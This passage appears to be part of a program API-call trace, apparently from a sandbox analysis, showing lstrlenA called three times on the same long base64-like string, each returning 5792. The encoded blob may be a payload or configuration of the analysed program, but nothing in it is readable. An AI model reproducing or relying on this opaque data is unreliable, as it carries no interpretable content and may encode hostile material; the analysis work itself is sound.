(lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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